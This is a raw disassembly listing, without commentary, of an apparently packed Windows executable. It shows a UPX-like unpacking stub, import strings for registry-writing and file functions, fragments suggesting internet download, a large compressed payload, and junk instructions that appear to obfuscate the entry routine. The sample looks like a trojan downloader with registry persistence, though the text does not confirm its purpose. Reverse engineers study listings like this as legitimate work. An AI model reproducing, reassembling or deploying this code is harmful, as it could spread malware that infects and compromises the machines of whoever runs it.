aTmodulefilenam	db 'tModuleFileNameA',0
		db 1, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		db 1
aSleep		db 'Sleep',0
		dw 4D00h
		dd 1, 1000120h,	43676552h, 65736F6Ch, 79654Bh, 67655201h
		dd 6E65704Fh, 4579654Bh, 1004178h, 53676552h, 61567465h
		dd 4565756Ch, 1004178h,	43676552h, 74616572h, 79654B65h
		dd 417845h, 67655201h, 72657551h, 6C615679h, 78456575h
		dd 5A000041h, 0E8000001h, 0FF000120h, 12FF1B10h, 164EFF1Bh
		dd 0FF03ABFFh, 0ADFF039Eh, 0B63FF03h, 0FF0339FFh, 33FF15C4h
		dd 1021FF16h, 0FF039CFFh, 1CFF039Ah, 35AFF02h, 0FF0320FFh
		dd 17FF035Ch, 959FF02h,	0FF0219FFh, 64000337h, 40000001h
		dd 1000121h
a?is_open@ifstr	db '?is_open@ifstream@@QBEHXZ',0
		dw 3F01h
aRead@istream@@	db 'read@istream@@QAEAAV1@PADH@Z',0
		db 1, 3Fh, 67h
aCount@istream@	db 'count@istream@@QBEHXZ',0
		dw 3F01h
aClose@ifstream	db 'close@ifstream@@QAEXXZ',0
		db 1
a??_difstream@@	db '??_Difstream@@QAEXXZ',0
		db 1, 3Fh, 6Fh
aPen@ifstream@@	db 'pen@ifstream@@QAEXPBDHH@Z',0
		dw 3F01h
aSh_read@filebu	db 'sh_read@filebuf@@2HB',0
		db 1, 2	dup(3Fh)
a0ifstream@@qae	db '0ifstream@@QAE@XZ',0
		dw 3F01h
aFail@ios@@qbeh	db 'fail@ios@@QBEHXZ',0
		align 2
		dw 170h
		dd 21680000h, 3F010001h, 243F313Fh, 69736162h, 74735F63h
		dd 676E6972h, 3F554440h, 61686324h, 72745F72h, 73746961h
		dd 73404440h, 40406474h, 61243F56h, 636F6C6Ch, 726F7461h
		dd 32404440h, 74734040h, 51404064h, 58404541h, 3F01005Ah
		dd 243F303Fh, 69736162h, 74735F63h, 676E6972h, 3F554440h
		dd 61686324h, 72745F72h, 73746961h, 73404440h, 40406474h
		dd 61243F56h, 636F6C6Ch, 726F7461h, 32404440h, 74734040h
		dd 51404064h, 41404541h, 243F5642h, 6F6C6C61h, 6F746163h
		dd 40444072h, 5A404031h, 733F0100h, 74736275h, 243F4072h
		dd 69736162h, 74735F63h, 676E6972h, 3F554440h, 61686324h
		dd 72745F72h, 73746961h, 73404440h, 40406474h, 61243F56h
		dd 636F6C6Ch, 726F7461h, 32404440h, 74734040h, 51404064h
		dd 413F4542h, 40323156h, 5A404949h, 663F0100h, 5F646E69h
		dd 7473616Ch, 40666F5Fh, 6162243Fh, 5F636973h, 69727473h
		dd 4440676Eh, 63243F55h, 5F726168h, 69617274h, 44407374h
		dd 64747340h, 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh
		dd 40403240h, 40647473h, 45425140h, 40494449h, 3F01005Ah
		dd 736F706Eh, 62243F40h, 63697361h, 7274735Fh, 40676E69h
		dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h
		dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h
		dd 64747340h, 49324040h, 3F010042h, 243F343Fh, 69736162h
		dd 74735F63h, 676E6972h, 3F554440h, 61686324h, 72745F72h
		dd 73746961h, 73404440h, 40406474h, 61243F56h, 636F6C6Ch
		dd 726F7461h, 32404440h, 74734040h, 51404064h, 41414541h
		dd 40313056h, 30564241h, 5A404031h, 3F3F0100h, 62243F30h
		dd 63697361h, 7274735Fh, 40676E69h, 243F5544h, 72616863h
		dd 6172745Fh, 40737469h, 74734044h, 56404064h, 6C61243Fh
		dd 61636F6Ch, 40726F74h, 40324044h, 64747340h, 41514040h
		dd 42414045h, 40313056h, 1005A40h, 7373613Fh, 406E6769h
		dd 6162243Fh, 5F636973h, 69727473h, 4440676Eh, 63243F55h
		dd 5F726168h, 69617274h, 44407374h, 64747340h, 3F564040h
		dd 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h, 40647473h
		dd 45415140h, 31564141h, 42504032h, 5A4044h, 5F633F01h
		dd 40727473h, 6162243Fh, 5F636973h, 69727473h, 4440676Eh
		dd 63243F55h, 5F726168h, 69617274h, 44407374h, 64747340h
		dd 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h
		dd 40647473h, 45425140h, 58444250h, 3F01005Ah, 657A6973h
		dd 62243F40h, 63697361h, 7274735Fh, 40676E69h, 243F5544h
		dd 72616863h, 6172745Fh, 40737469h, 74734044h, 56404064h
		dd 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h, 64747340h
		dd 42514040h, 5A584945h, 3F3F0100h, 64747338h, 41594040h
		dd 42414E5Fh, 62243F56h, 63697361h, 7274735Fh, 40676E69h
		dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h
		dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h
		dd 30403040h, 1005A40h,	3F343F3Fh, 73616224h, 735F6369h
		dd 6E697274h, 55444067h, 6863243Fh, 745F7261h, 74696172h
		dd 40444073h, 40647473h, 243F5640h, 6F6C6C61h, 6F746163h
		dd 40444072h, 73404032h, 40406474h, 41454151h, 31305641h
		dd 44425040h, 5A40h, 17Ch, 1219Ch, 72747301h, 7970636Eh
		dd 74610100h, 1006C6Fh,	656D6974h, 74610100h, 100696Fh
		dd 7274735Fh, 6D63696Eh, 5F010070h, 64727473h, 1007075h
		dd 73626D5Fh, 727075h, 72747301h, 746163h, 48455F01h, 6F72705Fh
		dd 676F6Ch, 6D656D01h, 797063h,	706F6601h, 1006E65h, 6C6C616Dh
		dd 100636Fh, 73727473h,	1007274h, 6F6C6366h, 1006573h
		dd 65657266h, 74660100h, 6C6C65h, 435F5F01h, 72467878h
		dd 48656D61h, 6C646E61h, 1007265h, 7878435Fh, 6F726854h
		dd 63784577h, 69747065h, 1006E6Fh, 69727073h, 66746Eh
		dd 73637701h, 6E656Ch, 626D5F01h, 706D6373h, 73660100h
		dd 6B6565h, 756F7401h, 72657070h, 74730100h, 6E656C72h
		dd 74730100h, 79706372h, 6D5F0100h, 626E7362h, 797063h
		dd 6D656D01h, 746573h, 6C616301h, 636F6Ch, 72747301h, 706D63h
		dd 746D6701h, 656D69h, 626D5F01h, 72747373h, 3F3F0100h
		dd 70797431h, 6E695F65h, 40406F66h, 40454155h, 1005A58h
		dd 6C645F5Fh, 656E6F6Ch, 746978h, 6E6F5F01h, 74697865h
		dd 655F0100h, 746978h, 63585F01h, 69467470h, 7265746Ch
		dd 78650100h, 1007469h,	65675F5Fh, 69616D74h, 6772616Eh
		dd 5F010073h, 646D6361h, 1006E6Ch, 696E695Fh, 72657474h
		dd 5F01006Dh, 7465735Fh, 72657375h, 6874616Dh, 727265h
		dd 64615F01h, 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh
		dd 6D6D6F63h, 65646Fh, 705F5F01h, 6D665F5Fh, 65646Fh, 735F5F01h
		dd 615F7465h, 745F7070h, 657079h, 78655F01h, 74706563h
		dd 6E61685Fh, 72656C64h, 66010033h, 64616572h, 635F0100h
		dd 72746E6Fh, 70666C6Fh, 1870000h, 22A40000h, 43010001h
		dd 696E556Fh, 6974696Eh, 7A696C61h, 4F010065h, 7552656Ch
		dd 4301006Eh, 6572436Fh, 49657461h, 6174736Eh, 65636Eh
		dd 496F4301h, 6974696Eh, 7A696C61h, 91000065h, 60000001h
		dd 0FF000122h, 9FF000Ch, 8FF00h, 0FF0095FFh, 6FF0096h
		dd 7FF00h, 0FF00C8FFh, 9E000002h, 88000001h, 1000122h
		dd 69464853h, 704F656Ch, 74617265h, 416E6F69h, 1AA0000h
		dd 22900000h, 43010001h, 5279706Fh, 746365h, 75714501h
		dd 65526C61h, 1007463h,	72707377h, 66746E69h, 43010041h
		dd 55726168h, 72657070h, 41h, 50000000h, 4C000045h, 40000401h
		dd 480645h, 0
		dd 0E0000000h, 0B010F00h, 601h,	120h, 0A0h, 1A000000h
		dd 119h, 10h, 130h, 4200h, 10h,	4000010h, 0
		dd 4000000h, 2 dup(0)
		dd 1D0h, 10h, 2000000h,	0
		dd 1000h, 10h, 1000h, 10h, 10000000h, 2	dup(0)
		dd 30000000h, 0DC00015Eh, 0
		dd 280001C0h, 3, 12h dup(0)
		dd 0B8000130h, 2, 5 dup(0)
		dd 2E000000h, 74786574h, 45000000h, 11Ah, 10h, 120h, 10h
		dd 2 dup(0)
		dd 20000000h, 2E600000h, 74616472h, 96000061h, 3Dh, 130h
		dd 40h,	130h, 2	dup(0)
		dd 40000000h, 2E400000h, 61746164h, 84000000h, 4Dh, 170h
		dd 10h,	170h, 2	dup(0)
		dd 40000000h, 2EC00000h, 63727372h, 28000000h, 3, 1C0h
		dd 10h,	180h, 2	dup(0)
		dd 40000000h, 400000h, 0C40001C0h, 161h, 1CB4300h, 7C903200h
		dd 0C8F0A027h, 240E4B92h, 0BF02A10h, 30071196h,	0C85FC32Ah
		dd 102EF937h, 0F8431C5Fh, 3149E102h, 5E183BF0h,	48014583h
		dd 0A2A8FDD1h, 807148B2h, 0F0C90117h, 62102684h, 0DB1B8EA3h
		dd 4EAA58D4h, 0F42E1720h, 593FFF25h, 500F18A9h,	45435641h
		dd 70656378h, 6E6F6974h, 505EA8FEh, 6977DF69h, 0FF778A6Eh
		dd 746501DFh, 6C6C642Eh, 746E4900h, 4F0C7265h, 0B26E6570h
		dd 833981F7h, 6C72550Fh, 4AC91312h, 6C437FC5h, 4865736Fh
		dd 13DA6E61h, 0FDCEAAB7h, 64616552h, 106946h, 504F1C25h
		dd 0AA1D45DFh, 639F7A45h, 6F206372h, 0EDEDB1DCh, 2B202C6Bh
		dd 6B617473h, 6C6F9328h, 7760FE25h, 61661BCFh, 3A6438h
		dd 70695A1Fh, 0BF0A2928h, 23FB5FB7h, 26239E62h,	79725F72h
		dd 3000563Dh, 7F7FFFB1h, 5832305Fh, 21C94217h, 12B3F2D3h
		dd 8AB0222h, 0DB3F7766h, 0A363BFDEh, 75427469h,	0E35C419Ah
		dd 73776F64h, 7F685EEBh, 64690067h, 696601CBh, 476FC65h
		dd 61ADFB9Ch, 0BA000C73h, 64707577h, 0BB2BC461h, 87D557FDh
		dd 657865F6h, 117563h, 0DB0E3068h, 530F9FB6h, 22502D61h
		dd 0EB410B68h, 702ADFDCh, 61726170h, 0B36656Dh,	0FB6FBE66h
		dd 0D6EAE08h, 75716557h, 13640469h, 7FB6C36Fh, 79656B0Fh
		dd 0B75D376h, 746F6F1Fh, 7BA1611Eh, 466E9407h, 52570361h
		dd 9B981B5Ch, 747886DDh, 1B0C0F87h, 855CEB0Eh, 2B696F46h
		dd 0D86E6463h, 675DB6D6h, 1E1000C0h, 257735BEh,	651EAF93h
		dd 494C4D58h, 90BB3680h, 473A7F00h, 63867341h, 6D742E4Fh
		dd 94232063h, 4DDCF51Ch, 759142F6h, 7DB7746Ch, 31303003h
		dd 0D2FFFFFFh, 38384130h, 37393337h, 32463541h,	37363034h
		dd 46454535h, 35334434h, 6F6F97B6h, 3642391Eh, 3641331Ah
		dd 43364446h, 0ADF64617h, 3127DFFDh, 36333531h,	43344341h
		dd 41241438h, 2343637h,	0FFF6B5AEh, 36394544h, 33393031h
		dd 3F443831h, 225B4912h, 2DB9CE7Bh, 7060058h, 0ADB6DD63h
		dd 7E4331BDh, 43953672h, 2C304169h, 0A0BB7DB6h,	350F4244h
		dd 74383242h, 0BA5B5F36h, 42A07B9Bh, 5B564431h,	34633037h
		dd 0DDD737B5h, 63033D5h, 3073F232h, 50FE4437h, 0EFADDADBh
		dd 0D43435FFh, 0E814175h, 822B70B4h, 12394628h,	270E8C38h
		dd 0F2E1583h, 0BAE32035h, 0E4168061h, 5CAAEF72h, 0B09E3B72h
		dd 56746BA9h, 4F525C8Dh, 687F5C74h, 0B6578CFCh,	7275435Ch
		dd 4F53E44Ch, 2A8B5446h, 4157FE35h, 4D5C4552h, 0FE7ECA69h
		dd 0C6521DC3h, 463FD703h, 6387A03h, 874B4400h, 0D55CE543h
		dd 4F71A2Fh, 2CC7C6B9h,	24E6D33h, 0FF2C6036h, 6666613Fh
		dd 535C4449h, 0E1ACA31h, 38478684h, 35B736E7h, 0F970BDB8h
		dd 394335F7h, 453437D4h, 0ED423616h, 14686685h,	0CCF4CF43h
		dd 31303944h, 0F0DDBB5Bh, 30363143h, 464443E7h,	2F333033h
		dd 142D3417h, 2F38BA3Ah, 27322743h, 0B705438Ah,	9B38A171h
		dd 461E3237h, 0C28E1417h, 542F6B42h, 87574249h,	4C30DA16h
		dd 15FF8B78h, 99EE4C6Fh, 976DD59Ah, 0B4671BCCh,	14E4EEAAh
		dd 5CFD63h, 6EBFADA4h, 272069E0h, 35656853h, 0EBD7B445h
		dd 1706DAE7h, 0D732330Fh, 895FDB03h, 267403B2h,	69033D78h
		dd 34C1ABF0h, 933D3870h, 25CC5547h, 833AEA4h, 91F7C26h
		dd 96EB7AA3h, 4E746800h, 0A22F3A70h, 0FC3DD7B5h, 6D2E7277h
		dd 6FBB626Bh, 85E937CFh, 2FDBB6ADh, 0AF6142DCh,	0E32E7570h
		dd 1BAE027Ah, 1F3F0368h, 2781001Ah, 0B7484487h,	746C089h
		dd 0DB0AB71Ah, 0F642067h, 6C6AD8D5h, 0F779EE4Bh, 20862B74h
		dd 0DACDA36Dh, 993642Fh, 0D9626F3Ch, 1764B318h,	0D611F0Dh
		dd 87C2B606h, 0FE757367h, 591A6943h, 20ADDD73h,	476F6DC2h
		dd 2F1E1162h, 6D6856EEh, 3495AC23h, 6B536269h, 23196E5Dh
		dd 82692217h, 0CD81A003h, 2F090740h, 0CCDE6705h, 20255B40h
		dd 9E1B362Ch, 66D9B2Dh,	15653FD3h, 83596D33h, 636F4ABFh
		dd 7974206Bh, 3129135Eh, 6F6D86CEh, 734C1A65h, 0B5B60DC7h
		dd 449A3302h, 65201379h, 25ACBE17h, 6D797356h, 57736C52h
		dd 0B586D6B5h, 5C4B268Bh, 0F4AD0FB4h, 0B36F3FD7h, 38736275h
		dd 0E17931C1h, 0AC033580h, 20732AF1h, 0F6B58521h, 12E7B39Eh
		dd 94B123CDh, 0FA4B6C25h, 21237B46h, 1F1A4760h,	61B3618Fh
		dd 3F1DCB2Bh, 36476856h, 18651B64h, 0B8251634h,	0E3201706h
		dd 8062FEDh, 0AF7B84A9h, 8A773235h, 0C3073BC6h,	9FB83AF6h
		dd 20AA6E6Bh, 0FA736B91h, 8E685658h, 67CD6826h,	93B6135Ch
		dd 7A1B2063h, 0EB4B243h, 20933717h, 63451168h, 4646CB07h
		dd 0AB2BCD2Bh, 0C349ED27h, 0AB258D1Eh, 1035455h, 2EE66B0Dh
		dd 7F0D2F2Eh, 0CE070CFDh, 49967F54h, 63637553h,	0DB7B96B6h
		dd 1143008Eh, 45276E64h, 0DB638AEBh, 0F8B9A2CDh, 43009877h
		dd 62E81C6Fh, 396306D7h, 0CB6F2F19h, 62C42820h,	73469890h
		dd 7588CD3Fh, 6F7159D1h, 0A34FD38h, 451BD1EDh, 0F1E1D5F8h
		dd 2BD869DAh, 53332253h, 5AA0568Dh, 58664FDBh, 5A1B0163h
		dd 0B6B5EC1Bh, 2F531F99h, 0CCDC824Bh, 0D4C446D1h, 0D9B46B39h
		dd 5A8B0D77h, 0F86B3425h, 0DB1EFB25h, 4CC674ADh, 67704161h
		dd 0AB779BAFh, 43547764h, 4E192F9Eh, 203A455Ch,	67E6F891h
		dd 92F76D75h, 0E7AA4C1Dh, 6B2D851Bh, 0FABAE7B4h, 2940CE64h
		dd 759BEC9Dh, 93A585CDh, 0FF887925h, 6C0DAD0Ah,	21F53764h
		dd 21B6E6CEh, 65671CEDh, 90660FFBh, 961BDA0Bh, 0AD2F976Ch
		dd 0DB470454h, 6D67FBD8h, 3A7D5973h, 386B2361h,	35721164h
		dd 90B70E9Fh, 735D1221h, 0B2DA445Ah, 6976DB59h,	235D7342h
		dd 0E9A10DB2h, 8AC7F4D5h, 5AE6566Fh, 6DCFC958h,	22C3DBD0h
		dd 0C816961Ch, 0DCE12C78h, 9B3C343Bh, 14E720FCh, 3ED6D1CBh
		dd 2D7B7D1Ch, 692CB562h, 8B5CE1D6h, 6C0839ACh, 23473BBh
		dd 0D86F4876h, 0DE2F6472h, 758E1836h, 6B7C7301h, 0F0332D96h
		dd 610A4719h, 0A1142709h, 7818EE6Dh, 0D10634Ah,	0EDA99C0Dh
		dd 17751409h, 98C948Ch,	644A1CDBh, 7B695767h, 0E3A3935Ah
		dd 7967AC63h, 96E02C40h, 29E787B0h, 87775589h, 0C223A324h
		dd 0EE37BAB2h, 66A42372h, 0C06C1B10h, 0F685EF0Fh, 593FB940h
		dd 4897225Fh, 0EE526C54h, 0EC0E1200h, 3D603FFFh, 548FDF0Bh
		dd 658E101Bh, 2B2B0008h, 5F3719D1h, 1AC5A012h, 38635F07h
		dd 242504F9h, 0A0888D02h, 50050092h, 0A88D8481h, 0B7141908h
		dd 1846140Dh, 43010420h, 1E283AD4h, 0C418ECFh, 4874048h
		dd 0F1970179h, 10FBFB3h, 15746547h, 0C7A6953h, 7473614Ch
		dd 41EC4556h, 76570D60h, 743C5133h, 13826944h, 84544179h
		dd 111B2DFDh, 766F6D59h, 0E22B7611h, 415453D9h,	7562C174h
		dd 200FFF2Dh, 471373DDh, 616D6E55h, 65695670h, 6E664F77h
		dd 9A66DBB6h, 72A46E05h, 22483E73h, 82604DA0h, 6BDEC047h
		dd 46FBDB5Dh, 6157316Fh, 0A3AC3CE2h, 4C10FB62h,	1E3726Fh
		dd 141CC323h, 7B419ADBh, 0FB7C510Eh, 508A0C66h,	644163E1h
		dd 9012ED64h, 0C043AA73h, 0CC366843h, 54E2897Dh, 693D4D6Fh
		dd 4D747942h, 0B0DCC20Ah, 141F1596h, 5BADBAAEh,	701860C2h
		dd 6CB267BBh, 0DDAF084Bh, 156372BCh, 0DDA4DBCh,	79C22CFBh
		dd 78654E0Ah, 5002C5E4h, 74538EDBh, 849865Dh, 8802B3EDh
		dd 646F4D10h
		dd 0BADBA47Fh, 5450212Fh, 443E6D69h, 0D0764444h, 0C9ED65Eh
		dd 7953169Bh, 8C25BD6Bh, 0C41589ACh, 542632F2h,	344EE8Ch
		dd 0AA661E03h, 6A655438h, 0B6846F50h, 0F4A283Dh, 6D6B354Ch
		dd 493BC553h, 64657511h, 0E0870D0Ah, 6D1263B6h,	0E64D0455h
		dd 0B6CC0478h, 6E3DFE60h, 6BF141C5h, 2475C34Bh,	166D72D5h
		dd 81ECD9D0h, 3E44A916h, 3E337B1Bh, 4449434Ch, 412C6879h
		dd 6B24236Ah, 5B6A2709h, 82EED670h, 0A4679BDh, 69615709h
		dd 8E6260B1h, 7E53C337h, 6A624F3Eh, 18184F85h, 971B8093h
		dd 497EDBD2h, 614EE158h, 17DF4154h, 8C10ED8Ah, 65176835h
		dd 2DA69C6Ch, 424D0Ah, 0A08E6740h, 4BB423D8h, 0E70C7965h
		dd 75EEB901h, 0EEA450Bh, 26C0E353h, 0FFE730Ch, 2774200Bh
		dd 1B516D6Bh, 5A002257h, 0F2CBE857h, 10FFDF6Fh,	212FF1Bh
		dd 0ABFF164Eh, 0AD9EFF03h, 0F6F96563h, 39FF0BEDh, 0FF15C405h
		dd 10211433h, 0BE9A9CFFh, 1CF2DB2Dh, 205AFF02h,	0B175C02h
		dd 19FF0959h, 0DF76EFBBh, 33705h, 21404764h, 73693F9Fh
		dd 40936F5Fh, 47FDC69h,	40BE66A0h, 45425140h, 1A5A5848h
		dd 0EB593FFEh, 1617640Eh, 41414541h, 50403156h,	40484441h
		dd 0FC546DACh, 9E63671Eh, 0EC372074h, 63A6F65Bh, 583950F0h
		dd 591B50h, 445F3F7Bh, 452D7E15h, 50B6B3ECh, 73646342h
		dd 6F865F68h, 2047200Dh, 48324C2Fh, 84C8A042h, 4830497Dh
		dd 6B593B40h, 7B76DFA6h, 0E67000C2h, 0A47D2C6Dh, 3F313F68h
		dd 0B673C024h, 0BB69AD5Fh, 40E936C1h, 63105544h, 0DA0E5F93h
		dd 0FF0CDDADh, 18404433h, 15564066h, 2A330AEDh,	3213F16Dh
		dd 0B732A940h, 786316ECh, 8567B47h, 644241D9h, 6275EA53h
		dd 0A2DB0C9Bh, 0F85F40ACh, 76B8A43Fh, 49B6DD8Ch, 0C3665349h
		dd 56446C5Fh, 0E42D954Ah, 54675966h, 7856517Ch,	4C63706Eh
		dd 0E8424932h, 4B3C9518h, 2309034h, 3D50CE84h, 9E400550h
		dd 0B61851B8h, 6730374Dh, 8538716Eh, 9136374Ah,	0CC468400h
		dd 0E58154D3h, 370C4557h, 71028F4Dh, 0D804AAC6h, 91138DAh
		dd 59EA8F86h, 514E5F41h, 8408109Ah, 14030EDh, 9C34DC5Ah
		dd 0C936E9A6h, 6E3C9C7Ch, 0CD4D6C1h, 6C3C08B7h,	0F4BB7405h
		dd 0BBAEF96h, 0E11B5F69h, 5A0A706Dh, 0A7302BE9h, 7546D08h
		dd 0E126E5Bh, 19105586h, 76B6C65Fh, 6F3A0F6Bh, 6D3A0B67h
		dd 162E664Ah, 0E82BDC9h, 0C6022A94h, 1672C5C0h,	66BC07C8h
		dd 56BBE88h, 5F3F1E97h,	46787843h, 9849B9FBh, 11275C94h
		dd 0CD536854h, 77688B0Dh, 0CC6343FBh, 0FF075BC1h, 63770866h
		dd 3A88CE73h, 9AD8D003h, 6FB8D866h, 0D6B3620Ch,	20987596h
		dd 0EF7B5D8Fh, 626E28D9h, 0B32C9F0Ah, 0B1D9BD63h, 67429865h
		dd 5D2AF66Dh, 0A9EBD002h, 25588DEh, 0AC66EB91h,	993764AAh
		dd 0DEC960DAh, 608F769h, 2C1D6258h, 0A3A82712h,	96675F12h
		dd 6DA15A80h, 73FD4404h, 0EB5AF401h, 406C610Eh,	0BDD689BAh
		dd 6D27C6CEh, 3759022h,	78175D8Eh, 0FC0568EDh, 5F756A9Ch
		dd 0D0035066h, 766964EFh, 0DA5F701Fh, 33B0DC6Dh, 660D3B43h
		dd 0C43E390Bh, 0F32CD6DEh, 2C86A95Fh, 5AE6685Fh, 33451384h
		dd 3E184B66h, 850D134Dh, 4666A038h, 5404A487h, 8922A3E8h
		dd 0B60DEA6Fh, 684C828Fh, 7C52324Fh, 789312A0h,	0EEEE3117h
		dd 0A88C5F65h, 274911h,	0B2CB4091h, 0FF609B6Ch,	809020Ch
		dd 0CB6D9695h, 7062CB2h, 9E1F02C8h, 0D7E27861h,	53648823h
		dd 954FD648h, 60EEB30Bh, 1AAA006Bh, 528F7F90h, 163DACE1h
		dd 75714518h, 0E4770A5Bh, 51E0E87h, 0CF5549D4h,	73F6C140h
		dd 45500034h, 7F84C03h,	4043BE0Bh, 0C6480645h, 10F00E0h
		dd 9A06010Bh, 17B1D9EEh, 1A13A000h, 30100B19h, 2FB3759Bh
		dd 30B4230h, 33071E04h,	2766F7h, 0B20027D0h, 37B2F624h
		dd 60710B0h, 2F5E3000h,	0DF6E2100h, 7C008DCh, 0E8480328h
		dd 0A7ADDB0Ah, 2E4F02B8h, 6BB66F61h, 451E74C4h,	98EBAF1Ah
		dd 2F0DA08Eh, 722E9212h, 0C1B059B9h, 3D96086Eh,	740FBh
		dd 6FD9F758h, 262E4012h, 44D8400h, 6D2B4B70h, 27703653h
		dd 1A734FC0h, 0D836561Ah, 27C0EB98h, 4F80h, 0C41BFDFEh
		dd 0CB431761h, 90001h, 0FF0000h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_43E970:				; DATA XREF: start:loc_43EBCDo
		pusha
		mov	esi, offset dword_436000
		lea	edi, [esi-15000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_43E992
; ---------------------------------------------------------------------------
		align 8


loc_43E988:				; CODE XREF: TEUm:loc_43E999j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_43E98E:				; CODE XREF: TEUm:0043EA26j
					; TEUm:0043EA3Dj
		add	ebx, ebx
		jnz	short loc_43E999


loc_43E992:				; CODE XREF: TEUm:0043E980j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E999:				; CODE XREF: TEUm:0043E990j
		jb	short loc_43E988
		mov	eax, 1


loc_43E9A0:				; CODE XREF: TEUm:0043E9AFj
					; TEUm:0043E9BAj
		add	ebx, ebx
		jnz	short loc_43E9AB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E9AB:				; CODE XREF: TEUm:0043E9A2j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_43E9A0
		jnz	short loc_43E9BC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_43E9A0


loc_43E9BC:				; CODE XREF: TEUm:0043E9B1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_43E9D0
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_43EA42
		mov	ebp, eax


loc_43E9D0:				; CODE XREF: TEUm:0043E9C1j
		add	ebx, ebx
		jnz	short loc_43E9DB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E9DB:				; CODE XREF: TEUm:0043E9D2j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_43E9E8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E9E8:				; CODE XREF: TEUm:0043E9DFj
		adc	ecx, ecx
		jnz	short loc_43EA0C
		inc	ecx


loc_43E9ED:				; CODE XREF: TEUm:0043E9FCj
					; TEUm:0043EA07j
		add	ebx, ebx
		jnz	short loc_43E9F8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E9F8:				; CODE XREF: TEUm:0043E9EFj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_43E9ED
		jnz	short loc_43EA09
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_43E9ED


loc_43EA09:				; CODE XREF: TEUm:0043E9FEj
		add	ecx, 2


loc_43EA0C:				; CODE XREF: TEUm:0043E9EAj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_43EA2C


loc_43EA1D:				; CODE XREF: TEUm:0043EA24j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_43EA1D
		jmp	loc_43E98E
; ---------------------------------------------------------------------------
		align 4


loc_43EA2C:				; CODE XREF: TEUm:0043EA1Bj
					; TEUm:0043EA39j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_43EA2C
		add	edi, ecx
		jmp	loc_43E98E
; ---------------------------------------------------------------------------


loc_43EA42:				; CODE XREF: TEUm:0043E9CCj
		pop	esi
		mov	edi, esi
		mov	ecx, 755h


loc_43EA4A:				; CODE XREF: TEUm:0043EA51j
					; TEUm:0043EA56j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_43EA4F:				; CODE XREF: TEUm:0043EA74j
		cmp	al, 1
		ja	short loc_43EA4A
		cmp	byte ptr [edi],	6
		jnz	short loc_43EA4A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	al, bl
		loop	loc_43EA4F
		lea	edi, [esi+1C000h]


loc_43EA7C:				; CODE XREF: TEUm:0043EA9Ej
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_43EAC7
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+1E324h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+1E400h]
		xchg	eax, ebp


loc_43EA99:				; CODE XREF: TEUm:0043EABFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_43EA7C
		mov	ecx, edi
		jns	short near ptr loc_43EAAA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_43EAAA:				; CODE XREF: TEUm:0043EAA2j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+1E404h]
		or	eax, eax
		jz	short loc_43EAC1
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_43EA99
; ---------------------------------------------------------------------------


loc_43EAC1:				; CODE XREF: TEUm:0043EAB8j
		call	dword ptr [esi+1E414h]


loc_43EAC7:				; CODE XREF: TEUm:0043EA80j
		mov	ebp, [esi+1E408h]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp
		lea	eax, [edi+1FFh]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp
		pop	eax
		popa
		lea	eax, [esp-80h]


loc_43EAFB:				; CODE XREF: TEUm:0043EAFFj
		push	0
		cmp	esp, eax
		jnz	short loc_43EAFB
		sub	esp, 0FFFFFF80h
		jmp	loc_43191A
; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		cmp	al, dh
		db	64h
		sbb	al, 3Bh
		shrd	edx, ebp, cl
		shld	ecx, eax, 0F4h
		test	eax, 1E378415h
		xchg	ecx, eax
		mov	esi, 3ED7A4B5h
		not	ecx
		xchg	esi, ecx
		rcr	ah, cl
		movzx	ebx, cx
		imul	ecx, eax
